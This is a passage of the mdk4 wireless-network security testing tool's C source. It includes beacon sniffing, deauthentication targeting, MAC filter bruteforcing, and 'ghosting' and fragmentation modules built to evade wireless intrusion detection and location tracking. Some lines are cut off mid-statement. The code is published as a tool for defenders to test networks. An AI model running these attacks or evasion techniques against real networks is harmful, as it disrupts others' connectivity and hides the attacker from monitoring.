nlmsg_hdr(msg)->nlmsg_flags |= NLM_F_DUMP;
register_handler(print_channels_handler, &ctx);
return 0;
}
/*************************************************************************/
unsigned char get_channel_from_beacon(struct packet *pkt)
{
int ie_type;
int ie_len;
unsigned char *pie_data;
int ie_data_len;
unsigned char channel = 0;
if(pkt == NULL || pkt->len <= sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed) )
return 0;
pie_data = pkt->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed);
ie_data_len = pkt->len - (sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed));
while(ie_data_len > 0){
ie_type = pie_data[0];
ie_len = pie_data[1];
if(ie_type == 0x03){ // Tag Number: DS Parameter Set, (channel), b/g
channel = pie_data[2];
break;
}else if(ie_type == 0x3D){ // Tag Number: HT Information , (channel), 802.11n
channel = pie_data[2];
break;
}
pie_data += (1+1+ie_len);
ie_data_len -=(1+1+ie_len);
}
return channel;
}
void channel_sniff()
{
struct packet sniffed;
struct ieee_hdr *hdr;
struct ether_addr bssid;
char ssid[32];
int ie_type;
int ie_len;
unsigned char *pie_data;
unsigned char channel;
int i;
while(sniff) {
sniffed = osdep_read_packet();
if (sniffed.len == 0){
usleep(10);
continue;
}
hdr = (struct ieee_hdr *) sniffed.data;
if (hdr->type == IEEE80211_TYPE_BEACON){
// channel
channel = get_channel_from_beacon(&sniffed);
// BSSID
memcpy(bssid.ether_addr_octet, sniffed.data + 16, ETHER_ADDR_LEN);
pie_data = sniffed.data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed);
// ssid
ie_len = pie_data[1];
pie_data += 2;
memcpy(ssid, pie_data, ie_len);
if(global_cur_attack->mode_identifier == DEAUTH_MODE){
if(BLACKLIST_FROM_ESSID == ((struct deauth_options *)global_cur_options)->isblacklist){
if(ie_len == essid_len){
if(!memcmp(essid_block, pie_data, essid_len)){
for(i=0; iisblacklist){
if(!memcmp(&bssid, &mac_block, sizeof(struct ether_addr))){
for(i=0; inl80211_id, 0, 0, NL80211_CMD_GET_WIPHY, 0);
NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(iface));
err = handle_channels(state, msg);
if (err){
goto out;
};
nl_socket_set_cb(state->nl_sock, s_cb);
err = nl_send_auto_complete(state->nl_sock, msg);
if (err < 0){
goto out;
};
err = 1;
nl_cb_err(cb, NL_CB_CUSTOM, error_handler, &err);
nl_cb_set(cb, NL_CB_FINISH, NL_CB_CUSTOM, finish_handler, &err);
nl_cb_set(cb, NL_CB_ACK, NL_CB_CUSTOM, ack_handler, &err);
nl_cb_set(cb, NL_CB_VALID, NL_CB_CUSTOM, valid_handler, NULL);
while (err > 0)
nl_recvmsgs(state->nl_sock, cb);
nla_put_failure:
out:
nl_cb_put(cb);
nl_cb_put(s_cb);
nlmsg_free(msg);
nl80211_cleanup(&nlstate);
}
void nl80211_init_channel_list()
{
int i=0, j=0, p=0;
nl80211_get_channel_list(osdep_iface_out);
chans[lpos_x].chan = 0;
chans[lpos_x].hop = 0;
if(0!=strcmp(osdep_iface_out, osdep_iface_in)){
for(i = 0; i<= lpos_x; i++){
chans_out[i] = chans[i].chan;
}
lpos_out = lpos_x;
nl80211_get_channel_list(osdep_iface_in);
for(i = 0; i<= lpos_x; i++){
chans_in[i] = chans[i].chan;
}
lpos_in = lpos_x;
p = 0;
for(i = 0; i< lpos_out; i++){
for(j = 0; j< lpos_in; j++){
if(chans_out[i] == chans_in[j]){
chans[p].chan = chans_out[i];
chans[p].hop = 0;
p++;
}
}
}
chans[p].chan = 0;
chans[p].hop = 0;
lpos_x = p;
}
}
void channel_hopper()
{
// A simple thread to hop channels
int cclp = 0, i;
if(sniff){
for(i=0; i
#include
#include
#include
#include "ghosting.h"
#include "osdep.h"
#ifdef __linux__
unsigned int ghosting_period = 100;
int ghosting_maxrate, ghosting_minpower;
/* ZERO_CHAOS says:
* If you want to make the WIDS vendors hate you,
* change tx power of the card while injecting, so you can evade location tracking.
* If you turn the radio's power up and down every few ms, the trackers will have a much harder time finding you
* (basicly you will hop all over the place depending on sensor position). At least madwifi can do it.
*
* Also change speed every few ms, not a fantastic evasion technique but it may cause more location tracking oddity.
*/
char *ghost_help ="###### This version supports IDS Evasion (Ghosting) ######\n"
"# Just append --ghost ,, #\n"
"# after your attack mode identifier to enable ghosting! #\n"
"# : How often (in ms) to switch rate/power #\n"
"# : Maximum Bitrate to use in MBit #\n"
"# : Minimum TX power in dBm to use #\n"
"# NOTE: Does not fully work with every driver, YMMV... #\n"
"##########################################################\n";
void ghosting_print_help() {
printf("%s\n", ghost_help);
}
void txpower_ghosting_thread() {
while(1) {
osdep_random_txpower(ghosting_minpower);
usleep(1000 * ghosting_period);
}
}
void bitrate_ghosting_thread() {
int maxrate = ghosting_maxrate * 1000000;
long rnd;
if (maxrate == 5000000) maxrate = 5500000; //5.5 MBit crap :(
while(1) {
do {
rnd = random() % VALID_RATE_COUNT;
} while (VALID_BITRATES[rnd] > maxrate);
osdep_set_rate(VALID_BITRATES[rnd]);
usleep(1000 * ghosting_period);
}
}
//If you set rate or power to -1, ghosting will be disabled for this!
//So If you just want to change your tx power every 100 ms from 10 dBm to your cards max:
//start_ghosting(100, -1, 10);
void start_ghosting(unsigned int period, int max_bitrate, int min_tx_power) {
pthread_t rateghost, powerghost;
//Gotta get stuff away from the stack:
ghosting_period = period;
ghosting_maxrate = max_bitrate;
ghosting_minpower = min_tx_power;
osdep_init_txpowers(); //don't forget to init stuff!
printf("Ghosting has been activated: ");
if (max_bitrate < 1) {
printf("You're a funny guy... Your maximum bitrate is less than 1....\n");
return;
}
if (min_tx_power > osdep_get_max_txpower()) {
printf("Your minimum TX power is greater than your cards maximum. You want to fry stuff?\n");
return;
}
if (max_bitrate != -1) {
printf("Change Bitrate from 1 to %d MBit, ", max_bitrate);
pthread_create(&rateghost, NULL, (void *) bitrate_ghosting_thread, (void *) NULL);
}
if (min_tx_power != -1) {
printf("Change TX Power from %d to %d dBm, ", min_tx_power, osdep_get_max_txpower());
pthread_create(&powerghost, NULL, (void *) txpower_ghosting_thread, (void *) NULL);
}
printf("every %d milliseconds\n", period);
}
void parse_ghosting(const char *input) {
int parseok;
int per, rate, pow;
parseok = sscanf(input, "%d,%d,%d", &per, &rate, &pow);
if (parseok != 3) {
printf("Your ghosting parameters are unparseable...\n");
exit(-1);
}
start_ghosting(per, rate, pow);
}
#endif
mdk4-master/src/ghosting.h 0000644 0001750 0001750 00000000701 13525065636 016555 0 ustar samueloph samueloph #ifndef HAVE_GHOSTING_H
#define HAVE_GHOSTING_H
#ifdef __linux__
//This does the job for you
void parse_ghosting(const char *input);
//If you set rate or power to -1, ghosting will be disabled for this!
//So If you just want to change your tx power every 100 ms from 10 dBm to your cards max:
//start_ghosting(100, -1, 10);
void start_ghosting(unsigned int period, int max_bitrate, int min_tx_power);
void ghosting_print_help();
#endif
#endif
mdk4-master/src/brute.h 0000644 0001750 0001750 00000000771 13525065636 016063 0 ustar samueloph samueloph #ifndef HAVE_BRUTE_H
#define HAVE_BRUTE_H
//if last is NULL a new word with length len will be allocated and returned
//Use this word for the next calls to get_brute_word
//if last is set, len is ignored and the next valid word is returned (overwrites last, do not free()!)
//cls is a string with the selected character classes, supported are:
//l (lowercase), u (uppercase, n (numbers), s (symbols)
//EVERYTHING is 7bit ASCII only!
char *get_brute_word(char *cls, char *last, unsigned int len);
#endif
mdk4-master/src/Makefile 0000644 0001750 0001750 00000002174 13525065636 016230 0 ustar samueloph samueloph MDK_ROOT = ..
include $(MDK_ROOT)/common.mak
CFLAGS += -g -O3 -Wall -Wextra
LINKFLAGS = -lpthread -lpcap $(LDFLAGS)
SBINDIR = $(PREFIX)/sbin
MANDIR = $(PREFIX)/share/man
OSD = osdep
LIBS += -lm -L$(OSD) -l$(OSD)
LIBOSD = $(OSD)/lib$(OSD).so
OBJS = debug.o helpers.o mac_addr.o linkedlist.o greylist.o dumpfile.o packet.o brute.o
OBJS_OSD = osdep.o channelhopper.o ghosting.o fragmenting.o
ATTACKS = attacks
OBJ_ATT = $(shell ls attacks/*.h | sed s/"\.h"/"\.o"/g)
all: osd mdk4 $(OBJ_ATT) att
att:
$(MAKE) -C $(ATTACKS)
osd:
$(MAKE) -C $(OSD)
$(LIBOSD) $(OSD)/libosdep.a:
$(MAKE) -C $(OSD)
$(OBJ_ATT):
$(MAKE) -C $(ATTACKS)
mdk4: mdk4.c $(OSD)/libosdep.a $(OBJS) $(OBJS_OSD) $(OBJ_ATT)
$(MAKE) -C $(ATTACKS)
$(CC) $(CFLAGS) $(CPPFLAGS) $(^) -o $(@) $(LIBS) $(LINKFLAGS)
test: test.c $(OBJS)
$(CC) $(CFLAGS) $(CPPFLAGS) $(^) -o $(@) $(LINKFLAGS)
mv $(@) ..
install: mdk4
install -D -m 0755 $^ $(SBINDIR)/$^
$(MAKE) -C $(ATTACKS) install
$(MAKE) -C $(OSD) install
.PHONY : clean
clean:
rm -f mdk4
rm -f $(OBJS) $(OBJS_OSD)
rm -f ../test *.o
$(MAKE) -C $(OSD) clean
$(MAKE) -C $(ATTACKS) clean
distclean: clean
mdk4-master/src/test.c 0000644 0001750 0001750 00000017633 13525065636 015721 0 ustar samueloph samueloph #include
#include
#include
#include
#include
#include "helpers.h"
#include "mac_addr.h"
#include "linkedlist.h"
#include "greylist.h"
#include "dumpfile.h"
#include "brute.h"
void print_chars_decimal(char *values, int count) {
int i;
for(i=0; istatus, cl->data);
cl = cl->next;
} while (cl != first);
}
void test_helpers() {
char chan[8];
char *ssid[8];
int i;
char *line;
printf("Testing generic helpers:\n");
for(i=0; i<8; i++) chan[i] = generate_channel();
printf("Random channels: "); print_chars_decimal(chan, 8);
for(i=0; i<8; i++) {
assert(chan[i] > 0);
assert(chan[i] < 15);
}
for(i=0; i<8; i++) ssid[i] = generate_ssid(0);
printf("\nRandom SSIDs: "); print_strings(ssid, 8);
for(i=0; i<8; i++) {
assert(strlen(ssid[i]) > 0);
assert(strlen(ssid[i]) < 33);
free(ssid[i]);
}
printf("\nWho are my authors?:\n");
line = read_next_line("./AUTHORS", 1);
while (line) {
printf(" READING: %s\n", line);
free(line);
line = read_next_line("./AUTHORS", 0);
}
printf("\n\n");
}
void show_some_macs(struct ether_addr mac, struct ether_addr mac2) {
int i;
printf("\n First MAC: "); print_mac(get_next_mac(mac, &mac2));
printf("\n Second MAC: "); print_mac(get_next_mac(mac, &mac2));
for(i=0; i<99998; i++) get_next_mac(mac, &mac2);
printf("\n MAC 100000: "); print_mac(get_next_mac(mac, &mac2));
for(i=0; i<16677214; i++) get_next_mac(mac, &mac2);
printf("\n Many MACs later: "); print_mac(get_next_mac(mac, &mac2));
if (MAC_IS_BCAST(mac2)) printf("\n Ran out of MAC addresses (correct in semi-auto and manual).");
for(i=0; i<123456; i++) get_next_mac(mac, &mac2);
printf("\n New base: "); print_mac(get_next_mac(mac, &mac2));}
void test_mac_addr() {
struct ether_addr mac, mac2;
char parse1[18] = "aa:bB:Cc:DD:00:0f";
char parse2[13] = "aabbCCdDEef9";
printf("Testing MAC Address parsers and generators:\n");
MAC_SET_NULL(mac);
printf("Null MAC: "); print_mac(mac);
assert(MAC_IS_NULL(mac));
MAC_SET_BCAST(mac);
printf("\nBroadcast MAC: "); print_mac(mac);
assert(MAC_IS_BCAST(mac));
printf("\nParsing %s: ", parse1); print_mac(parse_mac(parse1));
printf("\nParsing %s: ", parse2); print_mac(parse_mac(parse2));
printf("\nRandom MAC: "); print_mac(generate_mac(MAC_KIND_RANDOM));
printf("\nRandom valid client MAC: "); print_mac(generate_mac(MAC_KIND_CLIENT));
printf("\nRandom valid AP MAC: "); print_mac(generate_mac(MAC_KIND_AP));
printf("\nMAC filter Bruteforcer in auto-mode:");
MAC_SET_NULL(mac); MAC_SET_NULL(mac2);
show_some_macs(mac, mac2);
printf("\nMAC filter Bruteforcer in semi-auto mode starting with F0:EE:DD:");
mac.ether_addr_octet[0] = 0xF0;
mac.ether_addr_octet[1] = 0xEE;
mac.ether_addr_octet[2] = 0xDD;
MAC_SET_NULL(mac2);
show_some_macs(mac, mac2);
printf("\nMAC filter Bruteforcer in manual mode starting with F0:EE:DD:AA:00:85");
mac2.ether_addr_octet[0] = 0xAA;
mac2.ether_addr_octet[1] = 0x00;
mac2.ether_addr_octet[2] = 0x85;
show_some_macs(mac, mac2);
printf("\n\n");
}
void test_linkedlist() {
struct clist *cl = NULL;
char tdata[10] = "testdata";
char *rdata;
int i;
printf("Testing Circular Linked Lists:\n");
printf("Test A: Data CList\n");
printf(" Searching status in empty list: %X\n", (unsigned int) search_status(cl, 0));
printf(" Searching \"%s\" in empty list: %X\n", tdata, (unsigned int) search_data(cl, (u_char *) tdata, strlen(tdata)));
printf(" Adding random data to list.\n");
for (i=0; i<5; i++) {
rdata = generate_ssid(0);
cl = add_to_clist(cl, (u_char *) rdata, random(), strlen(rdata)+1);
free(rdata);
}
printf(" Adding \"%s\"\n", tdata);
cl = add_to_clist(cl, (u_char *) tdata, 0, strlen(tdata)+1);
printf(" Adding more random data to list.\n");
for (i=0; i<15; i++) {
rdata = generate_ssid(0);
cl = add_to_clist(cl, (u_char *) rdata, random(), strlen(rdata)+1);
free(rdata);
}
printf(" CList DUMP:\n");
print_clist(cl);
printf(" Searching status in full list: %X\n", (unsigned int) search_status(cl, 0));
printf(" Searching \"%s\" in full list: %X\n", tdata, (unsigned int) search_data(cl, (u_char *) tdata, strlen(tdata)));
printf("Test B: WIDS AP CList - not implemented\n");
printf("Test C: WIDS Client CList - not implemented\n");
}
void test_greylist() {
struct ether_addr target = parse_mac("000011112222");
printf("Testing Greylist\n");
//Using an example file that is not well formed ;)
load_greylist(1, "./useful_files/fakeap-example.txt");
if (is_blacklisted(target)) {
printf(" Target MAC has been found blacklisted\n");
} else {
printf(" Target MAC is NOT blacklisted!\n");
}
printf("Turning list into a whitelist:\n");
load_greylist(0, NULL);
if (is_blacklisted(target)) {
printf(" Target MAC has been found blacklisted\n");
} else {
printf(" Target MAC is NOT blacklisted!\n");
}
}
void test_packet() {
struct packet pkt;
int i;
uint16_t caps;
struct ether_addr bssid, station;
char *ssid;
char enc[4] = {'n', 'w', 't', 'a'};
printf("Opening testdump.cap\n");
start_dump("testdump.cap");
printf("Creating random beacons :)\n");
for(i=0; i<20; i++) {
bssid = generate_mac(MAC_KIND_AP);
ssid = generate_ssid(0);
pkt = create_beacon(bssid, ssid, (uint8_t) (random() % 14), enc[random() % 4], (random() % 2) * 54, random() % 2);
dump_packet(&pkt);
free(ssid);
ssid = get_ssid(&pkt, NULL);
caps = get_capabilities(&pkt);
printf("SSID found in beacon: %s\n", ssid);
printf("Capabilities: %04X\n", caps);
free(ssid);
}
printf("Creating random auths :)\n");
for(i=0; i<20; i++) {
bssid = generate_mac(MAC_KIND_AP);
station = generate_mac(MAC_KIND_CLIENT);
pkt = create_auth(bssid, station, (random() % 2) + 1);
dump_packet(&pkt);
}
printf("Creating random probes :)\n");
for(i=0; i<20; i++) {
station = generate_mac(MAC_KIND_CLIENT);
ssid = generate_ssid(0);
pkt = create_probe(station, ssid, (random() % 2) * 54);
dump_packet(&pkt);
free(ssid);
}
printf("Creating random kicks :)\n");
for(i=0; i<20; i++) {
station = generate_mac(MAC_KIND_CLIENT);
bssid = generate_mac(MAC_KIND_AP);
pkt = create_deauth(bssid, station, bssid);
dump_packet(&pkt);
pkt = create_deauth(station, bssid, bssid);
dump_packet(&pkt);
pkt = create_disassoc(bssid, station, bssid);
dump_packet(&pkt);
pkt = create_disassoc(station, bssid, bssid);
dump_packet(&pkt);
}
printf("Creating random associations :)\n");
for(i=0; i<20; i++) {
bssid = generate_mac(MAC_KIND_AP);
ssid = generate_ssid(0);
station = generate_mac(MAC_KIND_CLIENT);
pkt = create_assoc_req(station, bssid, 0x0431, ssid, 54);
dump_packet(&pkt);
free(ssid);
}
printf("done!\n");
}
void test_brute() {
char word[3] = { 'x', 'x', 0x00 }; //Can't init with "xx", would be READ ONLY!
int sl;
char *fresh = NULL;
printf("Words after %s, using lowercase and numbers:\n", word);
sl = strlen(word);
while(get_brute_word("ln", word, sl)) {
printf("%s, ", word);
fflush(stdout);
}
printf("Keyspace exhausted!\n");
printf("Fresh 2 char words:\n");
while((fresh = get_brute_word("u", fresh, 2))) { //Yep, use assignment as truth value.
printf("%s, ", fresh);
fflush(stdout);
}
printf("Keyspace exhausted!\n");
free(fresh);
}
int main() {
printf("mdk4 Implementation Tests\n\n");
srandom(time(NULL)); //Fresh numbers each run
test_helpers();
test_linkedlist();
test_greylist();
test_packet();
test_mac_addr();
test_brute();
stop_dump();
return 0;
}
mdk4-master/src/mac_addr.c 0000644 0001750 0001750 00000010300 13525065636 016454 0 ustar samueloph samueloph #include
#include
#include
#include
#include "manufactor.h"
#include "mac_addr.h"
struct ether_addr parse_mac(char *input)
{
// Parsing input MAC adresses like 00:00:11:22:aa:BB or 00001122aAbB
struct ether_addr mac_p;
uint8_t *bytes = mac_p.ether_addr_octet;
if (input[2] == ':') {
sscanf(input, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", bytes, bytes+1, bytes+2, bytes+3, bytes+4, bytes+5);
} else {
sscanf(input, "%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx", bytes, bytes+1, bytes+2, bytes+3, bytes+4, bytes+5);
}
return mac_p;
}
struct ether_addr parse_half_mac(char *input)
{
// Parsing input half MAC adresses like 00:00:11 or 000011
// Octets 3 to 5 will be 0x00
struct ether_addr mac_p;
uint8_t *bytes = mac_p.ether_addr_octet;
if (input[2] == ':') {
sscanf(input, "%hhx:%hhx:%hhx", bytes, bytes+1, bytes+2);
} else {
sscanf(input, "%2hhx%2hhx%2hhx", bytes, bytes+1, bytes+2);
}
bytes[3] = bytes[4] = bytes[5] = 0x00;
return mac_p;
}
struct ether_addr generate_valid_mac(int type, int list_len)
{
int t, pos;
struct ether_addr mac_v;
pos = random();
pos = pos % list_len;
// SAMPLE LINE
// 000123000000/FFFFFF000000
if (type == 0) {
for (t=0; tether_addr_octet[2]++;
if (macaddr->ether_addr_octet[2] == 0) {
macaddr->ether_addr_octet[1]++;
if (macaddr->ether_addr_octet[1] == 0) {
macaddr->ether_addr_octet[0]++;
}
}
}
struct ether_addr get_next_mac(struct ether_addr mac_base, struct ether_addr *mac_lower)
{
static int pos = -2;
static struct ether_addr lowb;
static struct ether_addr upb;
struct ether_addr mac_v;
if (pos == -2) {
MAC_SET_BCAST(lowb);
MAC_SET_BCAST(upb);
pos = -1;
}
if (MAC_IS_NULL(mac_base)) { //Use internal database
//Increase lower bytes
increase_mac_adress(&lowb);
//Get new upper bytes?
if (! memcmp(lowb.ether_addr_octet, "\x00\x00\x00", 3)) {
//New pos in client list
pos++;
if (pos == clients_count) {
MAC_SET_BCAST((*mac_lower));
MAC_SET_NULL(mac_v);
return mac_v;
}
//Filling the first three bytes
sscanf((char *) clients[pos], "%2hhx%2hhx%2hhx", upb.ether_addr_octet, upb.ether_addr_octet+1, upb.ether_addr_octet+2);
}
memcpy(mac_v.ether_addr_octet, upb.ether_addr_octet, 3);
memcpy(mac_v.ether_addr_octet+3, lowb.ether_addr_octet, 3);
} else { //Use MAC given by user
increase_mac_adress(&lowb);
if (! MAC_IS_NULL(*mac_lower)) { //Use start MAC given by user
memcpy(lowb.ether_addr_octet, mac_lower->ether_addr_octet, 3);
MAC_SET_NULL(*mac_lower);
}
if (! memcmp(lowb.ether_addr_octet, "\xFF\xFF\xFF", 3)) {
MAC_SET_BCAST((*mac_lower));
MAC_SET_NULL(mac_v);
return mac_v;
}
memcpy(mac_v.ether_addr_octet, mac_base.ether_addr_octet, 3);
memcpy(mac_v.ether_addr_octet+3, lowb.ether_addr_octet, 3);
}
return mac_v;
}
void print_mac(struct ether_addr pmac)
{
uint8_t *p = pmac.ether_addr_octet;
printf("%02X:%02X:%02X:%02X:%02X:%02X", p[0], p[1], p[2], p[3], p[4], p[5]);
}
mdk4-master/src/fragmenting.c 0000644 0001750 0001750 00000013377 13525065636 017244 0 ustar samueloph samueloph #include
#include
#include
#include "fragmenting.h"
#include "mac_addr.h"
#include "osdep.h"
int frag_min = 0, frag_max = 0, std_comp = 0, percentage = 0;
char *frag_help = "#### This version supports IDS Evasion (Fragmenting) ####\n"
"# Just append --frag ,, #\n"
"# after your attack mode identifier to fragment all #\n"
"# outgoing packets, possibly avoiding lots of IDS! #\n"
"# : Minimum fragments to split packets into #\n"
"# : Maximum amount of fragments to create #\n"
"# : Percantage of packets to fragment #\n"
"# NOTE: May not fully work with every driver, YMMV... #\n"
"# HINT: Set max_frags to 0 to enable standard compliance #\n"
"##########################################################\n";
void frag_print_help() {
printf("%s\n", frag_help);
}
int frag_is_enabled() {
return frag_min;
}
int frag_send_frag(struct packet *pkt, int start, int size, uint8_t fragno, int last_frag) {
struct packet inject;
struct ieee_hdr *hdr = (struct ieee_hdr *) inject.data;
int payload_start = sizeof(struct ieee_hdr);
memcpy(inject.data, pkt->data, pkt->len);
if (hdr->type == 0x88) payload_start += 2; //handle QoS frames
set_fragno(&inject, fragno, last_frag);
memmove(inject.data + payload_start, inject.data + start + payload_start, size);
inject.len = payload_start + size;
return osdep_send_packet(&inject);
}
int frag_send_packet(struct packet *pkt) {
struct ieee_hdr *hdr = (struct ieee_hdr *) pkt->data;
struct ether_addr *dst = get_destination(pkt);
int q = 0, rnd, payload_size, fragsize, i, last_frag = 0;
float fragfsize, fi;
uint8_t fragno = 0;
//Check if already fragged => inject normally
if (get_fragno(pkt)) return osdep_send_packet(pkt);
//Encrypted packets cannot be fragmented, since each fragment is encrypted individually
if (hdr->flags & 0xB0) return osdep_send_packet(pkt);
//Std Comp: Only frag Unicast packets!
//"The MAC may fragment and reassemble individually addressed MSDUs"
if (std_comp && MAC_IS_BCAST(*dst)) return osdep_send_packet(pkt);
if (hdr->type == 0x88) q = 2; //handle QoS frames
payload_size = pkt->len -(sizeof(struct ieee_hdr) + q);
//Check if packet is fraggable (has payload), no => inject normally
if (pkt->len <= sizeof(struct ieee_hdr) + q) return osdep_send_packet(pkt);
//Make a choice if packet is in the frag percentage
rnd = random() % 100;
if (rnd > percentage) return osdep_send_packet(pkt);
//Select fragment count
rnd = random() % (frag_max - frag_min + 1);
rnd += frag_min;
//Check if payload is longer than frag count, no => inject bytewise
//Std Comp. Payload TWICE the frag count
if (std_comp) {
if ((2 * rnd) > payload_size) rnd = payload_size / 2;
} else {
if (rnd > payload_size) rnd = payload_size;
}
//Inject frags
if (std_comp) {
//Be compliant!
//"The length of each fragment shall be an equal number of octets for all fragments except the last."
fragsize = payload_size / rnd;
if (fragsize % 2) fragsize++; //"The length of each fragment shall be an even number of octets, except for the last fragment."
if ((fragsize * 15) < payload_size) fragsize += 2; //We can only send 15 frags max
for (i=0; i payload_size) fragsize = (payload_size - i); //Adjust size of last fragment
if (frag_send_frag(pkt, i, fragsize, fragno++, ((i + fragsize) == payload_size))) return -1;
}
} else {
//VIOLATE THE STANDARD NOW:
//"The MAC may fragment and reassemble individually addressed MSDUs"
//"The length of each fragment shall be an equal number of octets for all fragments except the last."
//"The length of each fragment shall be an even number of octets, except for the last fragment."
fragfsize = (float) payload_size / (float) rnd;
i = 0;
for (fi=fragfsize; fi <= ((float)payload_size) + 0.5; fi+=fragfsize) {
fragsize = (int) floorf(fi) - i;
if (fragno == (rnd - 1)) { //Adjust size of last fragment because floats aren't exact
last_frag = 1;
fragsize = payload_size - i;
}
if (frag_send_frag(pkt, i, fragsize, fragno++, last_frag)) return -1;
i = (int) floorf(fi); //Store where last fragment ended
}
}
return 0;
}
void start_fragging(int min, int max, int perc) {
if (max == 0) {
printf("Standard Compliant Fragmentation activated! Will not fragment Broadcasts!\n");
std_comp = 1;
max = 15;
}
if ((min < 1) || (max < 1)) {
printf("NOT funny: Packets must be sent in at least one fragment! Raising fragment count\n");
if (min < 1) min = 1;
if (max < 1) max = 1;
}
if ((min > 15) || (max > 15)) {
printf("IEEE 802.11 only supports up to 15 fragments, lowering fragment count\n");
if (min > 15) min = 15;
if (max > 15) max = 15;
}
if (min > max) {
printf("Your fragmenting minimum is greater than the maximum, raising maximum to 15\n");
max = 15;
}
frag_min = min;
frag_max = max;
if (perc < 1) { printf("Adjusting percentage to 1\n"); perc = 1; }
else if (perc > 100) { printf("Adjusting percentage to 100\n"); perc = 100; }
percentage = perc;
printf("IDS Evasion via Fragmentation is enabled and set to select %d to %d fragments for %d%% of all injected packets.\n", min, max, perc);
}
void parse_frag(const char *input) {
int parseok;
int min, max, perc;
parseok = sscanf(input, "%d,%d, %d", &min, &max, &perc);
if (parseok != 3) {
printf("Your fragmenting parameters are unparseable...\n");
exit(-1);
}
start_fragging(min, max, perc);
}
mdk4-master/src/fragmenting.h 0000644 0001750 0001750 00000000311 13525065636 017231 0 ustar samueloph samueloph #ifndef FRAGMENTING_H_
#define FRAGMENTING_H_
#include "packet.h"
void frag_print_help();
void parse_frag(const char *input);
int frag_is_enabled();
int frag_send_packet(struct packet *pkt);
#endif
mdk4-master/src/pcap.h 0000644 0001750 0001750 00000002061 13525065636 015657 0 ustar samueloph samueloph #ifndef _COMMON_H
#define _COMMON_H
#define FORMAT_CAP 1
#define FORMAT_IVS 2
#define TCPDUMP_MAGIC 0xA1B2C3D4
#define TCPDUMP_CIGAM 0xD4C3B2A1
#define IVSONLY_MAGIC "\xBF\xCA\x84\xD4"
#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4
#define LINKTYPE_ETHERNET 1
#define LINKTYPE_IEEE802_11 105
#define LINKTYPE_PRISM_HEADER 119
#define LINKTYPE_RADIOTAP_HDR 127
#define LINKTYPE_PPI_HDR 192
#define uchar unsigned char
#define ushort unsigned short
#define uint unsigned int
#define ulong unsigned long
#define SWAP32(x) \
x = ( ( ( x >> 24 ) & 0x000000FF ) | \
( ( x >> 8 ) & 0x0000FF00 ) | \
( ( x << 8 ) & 0x00FF0000 ) | \
( ( x << 24 ) & 0xFF000000 ) );
struct pcap_file_header
{
uint magic;
ushort version_major;
ushort version_minor;
int thiszone;
uint sigfigs;
uint snaplen;
uint linktype;
};
struct pcap_pkthdr
{
int tv_sec;
int tv_usec;
uint caplen;
uint len;
};
#endif /* common.h */
mdk4-master/src/manufactor.h 0000644 0001750 0001750 00000050457 13525065636 017107 0 ustar samueloph samueloph /*
* mdk4, a 802.11 wireless network security testing tool
* Just like John the ripper or nmap, now part of most distros,
* it is important that the defender of a network can test it using
* aggressive tools.... before somebody else does.
*
* The MAC numbers in this file are from 'kismet' project by Mike Kershaw.
*
* Copyright (C) 2001-2006 Mike Kershaw
* Copyright (C) 2006-2007 Pedro Larbig
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifndef HAVE_MANUF_H
#define HAVE_MANUF_H
const int clients_count = 445;
unsigned char clients[445][25] = {
"000022220000/FFFFFFFF0000",
"00008F8F0000/FFFFFFFF0000",
"000103000000/FFFFFF000000",
"000103030000/FFFFFFFF0000",
"000103030000/FFFFFFFF0000",
"000124000000/FFFFFF000000",
"0001F4F40000/FFFFFFFF0000",
"00022D000000/FFFFFF000000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00022D2D0000/FFFFFFFF0000",
"00026F000000/FFFFFF000000",
"00026F6F0000/FFFFFFFF0000",
"00026F6F0000/FFFFFFFF0000",
"00026F6F0000/FFFFFFFF0000",
"00026F6F0000/FFFFFFFF0000",
"0002A5000000/FFFFFF000000",
"0002A5A50000/FFFFFFFF0000",
"0002A5A50000/FFFFFFFF0000",
"0002B3B30000/FFFFFFFF0000",
"00032F000000/FFFFFF000000",
"00032F2F0000/FFFFFFFF0000",
"00032F2F0000/FFFFFFFF0000",
"00032F2F0000/FFFFFFFF0000",
"00045A000000/FFFFFF000000",
"00045A000000/FFFFFF000000",
"00045A000000/FFFFFF000000",
"00045A5A0000/FFFFFFFF0000",
"00045A5A0000/FFFFFFFF0000",
